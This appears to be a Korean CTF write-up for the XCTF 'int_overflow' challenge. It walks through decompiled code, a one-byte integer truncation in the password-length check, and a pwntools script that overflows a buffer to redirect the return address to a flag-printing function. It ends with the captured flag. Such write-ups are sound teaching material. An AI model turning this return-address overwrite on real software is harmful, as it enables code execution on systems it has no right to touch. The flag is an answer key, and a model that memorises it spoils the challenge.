-
int_overflowCTF/XCTF 2021. 1. 21. 00:08
Disassembly 디스어셈블리
undefined4 main(void) { char **ppcVar1; char *pcStack48; int32_t *piStack44; undefined4 uStack36; undefined auStack32 [12]; int32_t iStack20; int32_t var_ch; undefined *puStack12; int32_t var_4h; puStack12 = &stack0x00000004; piStack44 = (int32_t *)0x0; pcStack48 = _reloc.stdin; setbuf(); piStack44 = (int32_t *)0x0; pcStack48 = _reloc.stdout; setbuf(); piStack44 = (int32_t *)0x0; pcStack48 = _reloc.stderr; setbuf(); pcStack48 = "---------------------"; puts(); pcStack48 = "~~ Welcome to CTF! ~~"; puts(); pcStack48 = " 1.Login "; puts(); pcStack48 = " 2.Exit "; puts(); pcStack48 = "---------------------"; puts(); pcStack48 = "Your choice:"; printf(); piStack44 = &iStack20; pcStack48 = (char *)0x8048a27; __isoc99_scanf(); ppcVar1 = (char **)auStack32; if (iStack20 == 1) { uStack36 = 0x804889c; login(); } else { if (iStack20 == 2) { pcStack48 = "Bye~"; puts(); pcStack48 = (char *)0x0; exit(); ppcVar1 = &pcStack48; } *(char **)((int32_t)ppcVar1 + -0x10) = "Invalid Choice!"; *(undefined4 *)((int32_t)ppcVar1 + -0x14) = 0x80488c5; puts(); } return 0; }
main() 함수의 초반부에서는 setbuf로 버퍼를 비워주고, 환영 문구를 출력한다.
그 뒤에 수를 입력받아서 1이면 login(), 2라면 exit()를 호출하고 그 외에는"Invalid Choice!"를 출력하는 부분이 있고, 그 중에서 login()이 중요할 것이다.
void login(void) { void *var_228h; void *s; memset(&s, 0, 0x20); memset(&var_228h, 0, 0x200); puts("Please input your username:"); read(0, &s, 0x19); printf("Hello %s\n", &s); puts("Please input your passwd:"); read(0, &var_228h, 0x199); check_passwd((char *)&var_228h); return; }
read() 함수의 호출은 문자열 맨 끝 null바이트를 고려해서 크기가 지정되어 있고, 별다른 취약점을 찾을 수 없다. check_passwd()를 호출하는 부분이 있으니 그쪽을 살펴보자.
void check_passwd(char *src) { char *dest; uint32_t var_9h; var_9h._0_1_ = strlen(src); if (((uint8_t)var_9h < 4) || (8 < (uint8_t)var_9h)) { puts("Invalid Password"); fflush(_reloc.stdout); } else { puts("Success"); fflush(_reloc.stdout); strcpy(&dest, src); } return; }
login() 에서 입력한 패스워드의 길이 검사가 존재하고, strcpy를 통해 dest에 패스워드를 복사한다. 자세히 살펴보기 위해 어셈블리를 확인해봤다.
strlen() 함수가 호출된 직후를 살펴보면 mov byte [var_9h] al이 눈에 띈다. 리턴값의 하위 1바이트를 var_9h로 옮긴 후 이를 통해 비교를 한다는 것을 알 수 있다. 따라서 패스워드의 길이의 하위 1바이트가 0x04 이상 0x08 이하라면 검사를 통과할 수 있다. 또한, login() 에서 패스워드를 0x199 만큼 입력받으므로 이를 이용한 공격을 구상할 수 있다.
RET Overwrite
패스워드의 길이를 0x104로 조절하면 길이 검사를 통과할 수 있을 뿐더러, strcpy() 를 통해 ebp-0x14 위치에 패스워드가 복사되므로 return address를 덮을 수 있다.
void what_is_this(void) { system("cat flag"); return; }
친절하게도 바이너리에 flag를 보여주는 함수가 있으므로 해당 위치로 RET Overwrite 해주면 된다.
Code
더보기from pwn import * binary = "./int_overflow" # server = # port = context.log_level = 'debug' context.binary = binary # p = remote(server, port) p = process(binary) e = ELF(binary) p.sendlineafter("Your choice:", str(1)) p.sendlineafter("Please input your username:", "L0TUS") payload = b"A"*0x18 payload += p32(e.symbols["what_is_this"]) payload += b"A"*(0x104-len(payload)) p.sendlineafter("Please input your passwd:", payload) p.interactive()
Flag
cyberpeace{6a3ff7787fbd63e4f5eecae9458513c9}